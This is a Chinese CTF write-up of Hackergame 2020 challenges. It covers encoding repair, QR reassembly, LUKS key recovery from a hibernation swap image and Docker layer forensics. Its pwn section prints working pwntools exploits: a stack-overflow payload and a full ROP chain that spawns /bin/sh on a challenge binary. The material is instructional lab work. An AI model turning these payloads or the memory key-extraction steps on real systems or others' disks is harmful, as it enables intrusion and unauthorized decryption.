本文只记录了部分我复现的题目,全部 wp 可参考官方wp

从零开始的火星文

先看图

常见乱码

题目内容

脦脪鹿楼脝脝脕脣 拢脠拢谩拢茫拢毛拢氓拢貌拢莽拢谩拢铆拢氓 碌脛路镁脦帽脝梅拢卢脥碌碌陆脕脣脣眉脙脟碌脛 拢忙拢矛拢谩拢莽拢卢脧脰脭脷脦脪掳脩 拢忙拢矛拢谩拢莽 路垄赂酶脛茫拢潞
拢忙拢矛拢谩拢莽拢没拢脠拢麓拢枚拢鲁拢脽拢脝拢玫拢脦拢脽拢梅拢卤拢脭拢猫拢脽拢鲁拢卯拢茫拢掳拢盲拢卤拢卯拢莽拢脽拢麓拢脦拢盲拢脽拢盲拢鲁拢茫拢掳拢脛拢卤拢卯拢脟拢脽拢鹿拢帽拢脛拢虏拢脪拢赂拢猫拢贸拢媒
驴矛脠楼卤脠脠眉脝陆脤篓脤谩陆禄掳脡拢隆
虏禄脪陋脭脵掳脩脮芒路脻脨脜脧垄脳陋路垄赂酶脝盲脣没脠脣脕脣拢卢脪陋脢脟卤禄路垄脧脰戮脥脭茫赂芒脕脣拢隆

打开 txt,可以看到是 UTF-8 编码的内容,而观察内容又可发现其为上图中所说的古文码,然而古文码应该是在 GBK 编码下看到的结果,本题打开确实 UTF-8 格式,所以应该先对内容进行一次GBK编码,得到如下内容

ÎÒ¹¥ÆÆÁË £È£á£ã£ë£å£ò£ç£á£í£å µÄ·þÎñÆ÷£¬Íµµ½ÁËËüÃÇµÄ £æ£ì£á£ç£¬ÏÖÔÚÎÒ°Ñ £æ£ì£á£ç ·¢¸øÄ㣺
£æ£ì£á£ç£û£È£´£ö£³£ß£Æ£õ£Î£ß£÷£±£Ô£è£ß£³£î£ã£°£ä£±£î£ç£ß£´£Î£ä£ß£ä£³£ã£°£Ä£±£î£Ç£ß£¹£ñ£Ä£²£Ò£¸£è£ó£ý
¿ìÈ¥±ÈÈüƽ̨Ìá½»°É£¡
²»ÒªÔÙ°ÑÕâ·ÝÐÅϢת·¢¸øÆäËûÈËÁË£¬ÒªÊDZ»·¢ÏÖ¾ÍÔã¸âÁË£¡

很明显符合上图中的拼音码的形式,而拼音码是在 ISO-8859-1 编码下看到的,所以再用 ISO-8859-1 进行编码,最后再 GBK 解码得到原始内容即可

我攻破了 Hackergame 的服务器,偷到了它们的 flag,现在我把 flag 发给你:
flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_9qD2R8hs}
快去比赛平台提交吧!
不要再把这份信息转发给其他人了,要是被发现就糟糕了!

得到的 flag 为全角符号,无法直接提交,可以手动再打一遍

整道题的过程都可用 cyberchef 实现,非常方便

image-20201218011103459

生活在博弈树上

始终热爱大地

入门级 pwn,而且给了源码,但是本题其实并不需要,拖进 ida,找到 main 函数,f5 反编译,可以看到标志性的 gets() 函数

image-20201218164538361

很明显的栈溢出漏洞,继续读 main 函数,可以知道他是通过判断 v15 是否等于 1 来输出 flag

image-20201218164706466

那么我们的目的就是通过栈溢出来将 v15 对应的变量的值修改为 1,即可得到 flag

查看栈结构可以发现 gets() 对应的变量对于 rbp(也即栈帧基址)距离 0x90,v15 相对 rbp 距离 0x01

image-20201218165410134

构造 payload

from pwn import *

context.log_level = 'debug'
io = process('./tictactoe')

io.recvuntil('):') # 接收到末尾
payload = '(1,1)' + (0x90 - 0x01 - 5) * 'a' + '\x01' # -5是因为(1,1)
io.sendline(payload)
io.interactive()

升上天空

根据第一题的 flag,提示第二题需要 getshell,file 查看文件,发现静态链接编译

image-20201218170213854

checksec 检查文件,发现 NX enabled,即栈上不可执行,也就是说本题不能通过在栈上写入 shellcode 来 getshell

综上,本题可以考虑使用 ROP 技巧来达到目的,由于静态链接编译,而且对于输入没有什么特殊的要求限制,可以利用 ROPgadget 自动化生成 rop 链

ROPgadget --binary tictactoe --ropchain

(中间内容略)

- Step 5 -- Build the ROP chain

    #!/usr/bin/env python2
    # execve generated by ROPgadget

    from struct import pack

    # Padding goes here
    p = ''

    p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
    p += pack('<Q', 0x00000000004a60e0) # @ .data
    p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
    p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
......

构造完整 payload,同样栈溢出,填充字符到返回地址,在 ida 的栈结构视图中可以看到地址为 +0x08

image-20201218171404044

所以我们需要在第一题的基础上再填充八个字节长度的字符,再补充上构造的 ropchain 即可,不过需要注意的是,在 python3 中 struct.pack 返回的是bytes类型数据,所以为了拼接 payload,要将字符转化成 bytes 类型

from pwn import *
from struct import pack

context.log_level = 'debug'
io = process('./tictactoe')

p = b'(1,1)' + b'a' * (0x90 - 5 - 1) + b'\x01' + b'a' * 0x08
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402bf4) # syscall

io.recvuntil('):')
io.sendline(p)
io.interactive()

来自未来的信笺

给了一堆二维码,尝试扫码发现内容基本都不可读,推测每张二维码都是一个文件的一部分数据,将所有数据连起来即可恢复文件,手头并没有什么可以支持批量扫码得到原始数据的工具,目前也没找到支持的在线网站(要是有师傅知道可以教教我),于是照着 wp 学习了一下,利用 zbarimg 命令行工具配合 shell 脚本

  • 简单的 shell 脚本的编写学习可以看这里
  • 安装 zbarimg:apt-get install zbar-tools
#!/bin/sh

for i in ./frames/frame-*.png;
do
    #echo $i
    zbarimg -q --raw -Sbinary $i >> out
done;

打开得到的文件,解压里面的压缩包,就可以看到 flag

室友的加密硬盘

根据题目描述,拿到一个镜像文件,先查看具体内容配置

fdisk -l roommates_disk_part.img

image-20201219000800373

可以看到其中有五个部分,包括 boot 分区和 swap 分区,由于该镜像文件只有 2g,那两个特别大的分区肯定没有或不完整,提取出那三个比较小的分区

dd if=roommates_disk_part.img of=boot.img bs=512 count=389120 skip=2048
dd if=roommates_disk_part.img of=swap.img bs=512 count=1497088 skip=393216
dd if=roommates_disk_part.img of=home.img bs=512 count=1998848 skip=1892352

分别 file 查看三个导出的分区镜像,可以得知 boot 分区为 ext4 格式,swap 分区有个 SWSUSP1 镜像,home 分区为 LUKS 加密,应该就是题里所说的那个分区,在此涉及到一个知识点,什么是 SWSUSP?

SWSUSP,全称 Swap Suspend,是 linux 的一种电源管理机制,linux 下的磁盘挂起(STD)就是通过这种机制来实现的:将系统当前状态保存到内存后,再把内存内容写入 swap 分区,下次再启动系统时,系统就会恢复到休眠之前的状态。

STD,全称 Suspend to Disk,即硬盘挂起,也就是我们所说的休眠。

通过对 swap 分区的分析,我们可以得知本题是在系统休眠后 dump 下来的镜像,那么想要得到磁盘的密码,接下来就要对 swap 分区进行进一步分析,在此之前可以先挂载下 boot 分区,key 也有可能在里面,虽然本题不在就是了

I'm not that stupid to put plaintext key in /boot!

接下来内容参考文章:

题目描述中已经提到了加密方式为 AES,且密钥 512 位,根据上述文章,我们需要从内存中提取密钥,用到 findaes,安装和使用方式上文也已经给出了,在此不再赘述,找到 swap.img 中所有的 aeskey

Searching swap.img
Found AES-256 key schedule at offset 0x3ffde4: 
e1 95 50 1f 5b f8 ff fe 5f 4c 66 c4 32 49 a5 74 78 75 c9 8f 9c b5 98 c7 0f 52 a0 d0 5f 06 01 bc 
Found AES-256 key schedule at offset 0x6529d8: 
d9 13 14 5b 01 b2 03 ca 06 8e 48 d2 f4 0b 04 86 39 d8 c6 f4 cf e9 3b 22 c3 79 59 45 ca 9d 9e 2a 
Found AES-256 key schedule at offset 0x652b08: 
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 
Found AES-256 key schedule at offset 0x652bfc: 
45 78 95 c6 ff a8 97 80 74 97 bc 31 32 0c f9 bf f6 70 7e 17 6b e2 6a 10 58 fa 49 a1 2c cd 27 62 
Found AES-256 key schedule at offset 0x73bde4: 
b8 95 ea 51 54 ce a3 07 a3 f3 89 1f d4 3f 19 c0 d5 4b a3 8b 8d d2 85 19 84 1f a8 18 f2 4e ae fb 
Found AES-256 key schedule at offset 0x7aade4: 
08 2c 44 00 a3 4b 81 db c8 0d e8 18 74 cf 03 ff 16 d9 7e b9 38 0c 51 5d 3e c4 8e 84 33 d7 dc 64 
Found AES-256 key schedule at offset 0xbffde4: 
ef 3b 6d 7b 80 e9 ff 8b 13 c8 b8 01 98 4d 2c 9c f6 c0 ca 8d d3 42 da 98 11 2f 0c 70 f3 4f d5 c8 
Found AES-256 key schedule at offset 0x3d13de4: 
4c dc 0c 14 cb 55 bb 43 5e 75 43 8b 7d 73 f4 45 ed 5e 90 c9 51 4b 2d 42 64 c7 53 49 2b f8 47 e8 
Found AES-256 key schedule at offset 0x41efde4: 
9f 33 30 a4 2a 7f 64 46 26 0d f6 e2 f3 1d 31 1e 2f cf a3 d6 e1 f4 73 6e 83 5b 78 e6 3c 97 cc c3 
Found AES-256 key schedule at offset 0x50d5de4: 
ea b9 03 94 d3 e9 89 2c 87 a4 b2 f3 21 44 c7 1a 2b 1d 2e 0c de fc e6 83 12 5d 69 5d 6e d8 1d 6c 
Found AES-256 key schedule at offset 0x737c9d8: 
37 d7 de b4 3c 02 23 b8 65 6d d6 a8 62 56 2a 1a 83 60 92 62 78 dc 65 f4 45 ed a2 14 68 44 58 9f 
Found AES-256 key schedule at offset 0x737cb08: 
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 
Found AES-256 key schedule at offset 0x737cbfc: 
6b c7 7b d3 28 b3 78 31 5a 19 3c 7d fa 0d 14 c2 f0 23 f5 56 55 64 de 40 a6 ba 66 d2 9a ed fd 3d 
Found AES-256 key schedule at offset 0x8e67de4: 
31 c6 9d ff 83 84 7a 6c 3c 3c 09 1e 4f f6 11 3c a5 79 9e 1b 63 65 6f 0b d5 1b d6 49 0c 20 76 9c 
Found AES-256 key schedule at offset 0xa18ca1a: 
e4 d5 8f 63 d6 29 f3 88 03 da 3c 71 2c 5a 0c c2 be 77 4b 9d 92 5d 13 60 24 a1 81 31 5d 91 ac 99 
Found AES-256 key schedule at offset 0xa18cc0e: 
13 6c e9 ce 0d 3f 13 0e be 62 95 70 a0 8b c2 ea 88 3e 45 15 33 87 51 40 02 7d 1b 3f db 5d 00 91 
Found AES-256 key schedule at offset 0xa32db50: 
31 c6 9d ff 83 84 7a 6c 3c 3c 09 1e 4f f6 11 3c a5 79 9e 1b 63 65 6f 0b d5 1b d6 49 0c 20 76 9c 
Found AES-256 key schedule at offset 0xb1c873a: 
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6 
Found AES-256 key schedule at offset 0xb1c890d: 
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1 
Found AES-256 key schedule at offset 0xbd08b20: 
4c 82 f3 49 3f 9a 33 81 f5 1c 39 4a b8 53 2b d0 37 db 64 b7 93 05 7a ad e3 d6 bf 67 cb eb f9 33 
Found AES-256 key schedule at offset 0xd013349: 
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6 
Found AES-256 key schedule at offset 0xd01351c: 
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1 

由于找到的都是 256 位,而题中说的是 512 位,所以应该在内存中找到两个位置连续的,而且由于 Intel x86-64 使用 little-endian(小端)模式,因此我们必须以相反的顺序组合密钥

接下来参考另外一篇文章:

我们可以通过刚刚找到的主密钥来添加其他的密钥进行解锁,利用命令

cryptsetup luksAddkey <DEVICE> --master-key-file <file>

要将 aeskey 储存为 16 进制,经过多次尝试,可以确定密钥为 0xb1c890d 和 0xb1c873a 两个位置的 256 位密钥组合而成,即

e4581675c3f947f7b537a3dd6098e4a5898b0a18c2b3b0f675c61de4106fc6a1fa01a98089a38f606c148694e7a3509aaccfc165068ed67f5715384b93e56aa6

储存为 16 进制,用十六进制编辑器即可,另存为 key

image-20201219013838991

执行命令

cryptsetup luksAddKey home.img --master-key-file key

根据提示输入你想设置的新密钥即可,例如 123

再利用 luksOpen 命令解密,输入刚刚设置的密钥 123

cryptsetup luksOpen home.img home1

解密后就直接挂载了,打开挂载的 home1 卷,里面就有 flag.txt

flag{lets_do_A_c01d_b00t_next_time}

233 同学的 Docker

从题目考点的角度来解析这道题,涉及到了几个关于 Docker 的知识点:

  • docker 的分层(layer)结构
  • dockerfile 中 RUN 命令对 docker 文件系统层数的影响

有关 docker 文件结构的解析可以参考我的另一篇文章:浅析 Docker overlay2 文件结构,在这篇文章中也体现出了 docker 的分层结构,简单来讲就是 docker 分了容器层和镜像层,在容器层中进行修改并不会影响镜像层中的文件内容,镜像层中又由很多个小层(layer)构成,在构建 docker 时每个 RUN 命令都会产生一个新的 layer,就像官方 wp 里说的那样,如果在写 dockerfile 的时候用了很多的 RUN 命令,不仅会使构造出的镜像体积变大,也有可能会导致数据隐私泄露的情况

我们来看本题的 dockerfile

# Set the base image to use to centos 7
FROM centos:7

# Set the file maintainer
MAINTAINER Software_Engineering_Project

# Install necessary tools
RUN yum -y install wget make yum-utils

# Install python dependencies
RUN yum-builddep python -y

# Install tools needed
RUN yum -y install gcc
RUN yum -y install vim
RUN yum -y install mariadb-devel

# Download the python3.7.3
RUN wget -O /tmp/Python-3.7.3.tgz https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz

# Build and install python3.7.3
RUN tar -zxvf /tmp/Python-3.7.3.tgz -C /tmp/
RUN /tmp/Python-3.7.3/configure
RUN make && make install

# Create symbolic link
RUN rm -f /usr/bin/python
RUN ln -s /usr/local/bin/python3 /usr/bin/python
RUN ln -s /usr/local/bin/pip3 /usr/bin/pip

# Upgrade the pip
RUN pip install --upgrade pip

# Fix the yum
RUN sed -i 's/python/python2/' /usr/bin/yum

# Clean
RUN rm -rf /tmp/Python-3.7.3*
RUN yum clean all

RUN pip3 install ipython
RUN pip3 install bpython
RUN pip3 install pipenv

ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
COPY . /code/
RUN rm /code/flag.txt
ENTRYPOINT python /code/app.py

可以看到在最后一条 RUN 命令中删去了 /code/ 文件夹下的 flag 文件,那么我们只需要找到倒数第二层 layer 就可以看到未被删除的 flag

解法 1

第一种解法我们通过正常解析 docker 的文件结构,一层一层来找到目标 layer,有关文件结构的知识点不再重复讲述,参考浅析 Docker overlay2 文件结构

通过 docker image inspect [IMAGE ID] 命令查看这个 docker 的文件结构

"RootFS": {
            "Type": "layers",
            "Layers": [
                "sha256:613be09ab3c0860a5216936f412f09927947012f86bfa89b263dfa087a725f81",
                "sha256:107f3d157b844e4fe0e76f5cd1e4aa2a8000d08cd126b0209c06be16447fba24",
                "sha256:6f1859008f13b13e8332647ce2aa9d4682d1b632d2bfc9a8610279a3386afe1e",
                "sha256:9f7b61c057ea748e46a6cf0003162e8d2c4565677b7996bbbad7a6c9fd179af6",
                "sha256:f1a9718369d5d4ee861ce99d493bf5a99b0196713db2f197c6be4566f1c8da8a",
                "sha256:44d7fe2e0b5f86c6aa4f3318cc7c345b9aa567059286318e1acb817b4bce427b",
                "sha256:a3a7c0789b31a81a62032f733348d107c41b35bad602d48079803204cae3b453",
                "sha256:445667ee1e9c3e35c18040c2a3ac158e12c05600bb0cb3853cb044ffa2205d77",
                "sha256:b069a51c94ae2334aac99237c5ba861d886f835381a131145e7a000caa020a34",
                "sha256:6ce43b7cb7768d0d62c179d927cab9447e5f419c6b25376c10d07c2784be2b9d",
                "sha256:6f70066bfb26ba39944e087997acfe563f59ab506db041440313f0b35a305099",
                "sha256:85e03ff614924958b01c6b53e570d565335967c73e2f4a52e506c8f08784b57e",
                "sha256:907c7c3a48c08dfbfd418b543fc1b1fea31b682363f592ce0e85b09fb7a45a24",
                "sha256:4f65cf50337415b986f72b47f5c27bfcb69cfb0d1838849e82acfc09180fc1de",
                "sha256:ada9169e5563c97d79e08dffdeae7f8fc3f11a643893afe928630bbdbc4f1af0",
                "sha256:2cf7518176a8c7234c95c2dbb152615b9ec65e9440a180e03e694fcb8e71bebf",
                "sha256:39825329de0d7a0e48f46042382180326b22c9034d4ad059b2435da3535861ad",
                "sha256:2b3b691473b36b71f0c80e7167793da9f465c4d3b34dac8d8fc8123e46a6a0c2",
                "sha256:b7fa34a429645c5e0fa5579c58cdb46a6dbbcc1d7b30fe9960636df7c6d767a5",
                "sha256:75ccccbd8315c710681f72a9f4df9c20f3640284b469fb3834768b875d606625",
                "sha256:ba39e17835577c7fa702983e863182c5ea20fb9f9f6827c3cf659fca76aea710",
                "sha256:19510b883701c9fc721403d5eb5ddf5935f1db6aeaaad627a1050a349acaf2fb",
                "sha256:ce2f773d43eee87d53a828fbcd2daa8e6ae3f0490fbaf616a8aba752839072ff"
            ]
        }

RootFS 字段中可以看到镜像层 layer 的 diff_id,从上至下表示最底层到最顶层,可以看到倒数第二层的 diff_id

sha256:19510b883701c9fc721403d5eb5ddf5935f1db6aeaaad627a1050a349acaf2fb

LowerDir 字段可以看到镜像层 layer 的 cache_id

"GraphDriver": {
            "Data": {
                "LowerDir": "/var/lib/docker/overlay2/827ee4cf35ab231e539f1ae3429988e06599dbb27e3e775399b33093ba1ee815/diff:/var/lib/docker/overlay2/f050858eeb61d192443e92f025b467da00519e58319f63cafc5c184b48efe3d1/diff:/var/lib/docker/overlay2/1d220c246ca70969f708fc4ef9971e16adf9ed83df95992e895f4ddc8ed03506/diff:/var/lib/docker/overlay2/74da22967e9cc8ca341fe5c7743502ab9b9a717755c8fc1973811ba0951a420f/diff:/var/lib/docker/overlay2/535d262f84c6583093bdd6caf4ad621d37b37be4cda5d88ae1edc86dbd11ccbb/diff:/var/lib/docker/overlay2/e6298bb06a0109423e7bea42ff353241a9d6b3f84552758d32f42dddbb9df99f/diff:/var/lib/docker/overlay2/1b38ebb97fdaf37288514b5a97b0c72f240055fd1326b2e9bd8a7f43d632801a/diff:/var/lib/docker/overlay2/59fa0c520207eabce03600b2d8f5dcee7c3ea8aaabc9b139ca1206e9821e5188/diff:/var/lib/docker/overlay2/4344959e0ac6241bbc176c7bfd9752625b47f000de23c0827304b8d19c246bc9/diff:/var/lib/docker/overlay2/30b8bd2d570b7d27ce31da6059b934ca6e74765c6d61fbe02f3ae68839c6f12c/diff:/var/lib/docker/overlay2/f85d11d82c14e9475061306d0481b2d0060096905de4e75777b533ddea01195a/diff:/var/lib/docker/overlay2/aaec358fac768d6d7ebb1850daff059b1bc074c03ba80854ec880cca3eeac9c7/diff:/var/lib/docker/overlay2/4bf4cf30809e709de496256a2a6f71d4073914682c4b0e3f51acd61bd1f226e0/diff:/var/lib/docker/overlay2/ffe6365ea348df0538672ec06d7ca736f56e90837b120d57fa3e0abee53fc1a8/diff:/var/lib/docker/overlay2/d32f300d2d942f235fe302d85ce8dff759800847c857102598bf24d433b46bca/diff:/var/lib/docker/overlay2/c130887aba96b92186347f923539295a1e8d5c1c740652ef676650803fd3b020/diff:/var/lib/docker/overlay2/f9e9b09b687684cc8940cdf95319b61a6ea24a8ea545c709ff3dbfffd6831728/diff:/var/lib/docker/overlay2/99cf605b97e89e19bb504a1bfdfc6052e6fdf5dff93425c8fc1d1c7f9a89633f/diff:/var/lib/docker/overlay2/88f5127937b7c516b88edf462e952739c92b379946663b3b04319ade92496cbc/diff:/var/lib/docker/overlay2/de413265f060dc86515001cfbc2af11275689bf986a1c2276f05ec6ec55593f6/diff:/var/lib/docker/overlay2/45aaf41898a9181e89a4584e3b924bc790e6b48bda7d0e7f72eea0bc8a06b126/diff:/var/lib/docker/overlay2/6d94eed24770daf25bec63af8b7b6b5264c7b49ec427ad04853a8e130b9d7e6c/diff",
                "MergedDir": "/var/lib/docker/overlay2/bcfbb953e4685e74f74c16071a6b9941f80e8bdfbcfc99317b1cf878204ec796/merged",
                "UpperDir": "/var/lib/docker/overlay2/bcfbb953e4685e74f74c16071a6b9941f80e8bdfbcfc99317b1cf878204ec796/diff",
                "WorkDir": "/var/lib/docker/overlay2/bcfbb953e4685e74f74c16071a6b9941f80e8bdfbcfc99317b1cf878204ec796/work"
            },
            "Name": "overlay2"
        },

每个 cache_id 对应的 diff 目录下保存有该层的文件,那么我们只需要找到倒数第二层 diff_id 对应的 cache_id,就可以找到未被删除的 flag.txt 文件

cache_id 通过 chain_id 来索引,而 chain_id 又可以通过 diff_id 来计算,计算方法如下

当前层的chain_id = sha256(更低层的chain_id + " " + 当前层的diff_id)

最底层的 chain_iddiff_id 相同,我们以最底层的 chain_id 计算倒数第二层的 chain_id 为例

image-20221027185903830.png

计算出倒数第二层的 chain_id 为 8f52ef2a64d2360dcbb1edfb48f50680f4ae198145f8ca38c9b57afaf974a95d

image-20221027190055988.png

就这样一层一层往上算,手算或者写脚本都可以,算到倒数第二个 sha256:1951 对应的 chain_id

image-20221027185702423.png

查看这个 chain_id 文件夹下对应的 cache-id 文件

image-20221027190846786.png

找到这一层的 cache_id

827ee4cf35ab231e539f1ae3429988e06599dbb27e3e775399b33093ba1ee815

查看对应 diff 目录下的文件即可找到 flag

image-20221027191104489.png

解法 2

有个工具叫 dive,可以用来查看 docker 构建过程中每个镜像层的文件目录以及各种文件变动,一些快捷键使用如下

按键绑定描述
Ctrl + C退出
Tab在层和文件树视图之间切换
Ctrl + F筛选
PageUp向上滚动页面
PageDown向下滚动页面
Ctrl + A镜像视图:查看聚合图像修改
Ctrl + L镜像视图:查看当前图层修改
Space文件树视图:折叠/取消折叠目录
Ctrl + Space文件树视图:折叠/展开所有目录
Ctrl + A文件树视图:显示/隐藏添加的文件
Ctrl + R文件树视图:显示/隐藏已删除的文件
Ctrl + M文件树视图:显示/隐藏修改的文件
Ctrl + U文件树视图:显示/隐藏未修改的文件
Ctrl + B文件树视图:显示/隐藏文件属性
PageUpFiletree视图:向上滚动页面
PageDownFiletree视图:向下滚动页面

安装好后用 dive 打开镜像

dive 8b8d3c8324c7/stringtool

找到删除 flag 的上一条构建镜像层的命令

image-20221027192006854.png

找到这个 code 目录,可以看到里面有个 flag.txt,但是我们无法通过这个工具直接查看文件内容

虽然无法直接查看,但是我们已经知道了 flag 的文件名了,接下来在本地全盘搜索这个文件就行

image-20221027192517338.png

通过 dive 也可以看到 COPY 命令构建出的这一个镜像层对应的 diff_id 和我们第一种解法中判断的相同

image-20221027193751198.png

而这个 Id 就代表该镜像层,如果我们通过 docker save 命令导出这个镜像(官方解法)

docker save 8b8d3c8324c7/stringtool > img.tar

解压这个 tar 文件之后就可以在里面找到与 Id 相同的文件夹名,解压里面的 layer.tar,在对应 code 目录也可以找到 flag

碎碎念(划掉

其实这篇复现在当年比赛刚结束不久我就在写了,后来写着写着就忘了……

今年 Hackergame 的时候看着桌面的文件突然想起来了还有这样一篇未完待续的 wp,而且我觉得这几个 misc 的题目质量还很高,涉及到的知识点都很实用,尤其是 docker 那个题,对我们理解 docker 的文件结构和原理有很大的帮助,所以我就想把它再完善一下,作为可能近期最后一篇 misc wp 发在博客上了,也算是对大学这段 misc 生涯做个小小的收尾吧,后面可能就要去弄毕设,多学一学内网渗透相关的东西,以后可能也把内网作为一个研究生方向吧,那就是后话了……

这两个月也是取证比赛的高发期,后续可能还会更几篇有关取证比赛的复现和分析,也许也会把一些内网的笔记发上来,师傅们敬请期待吧!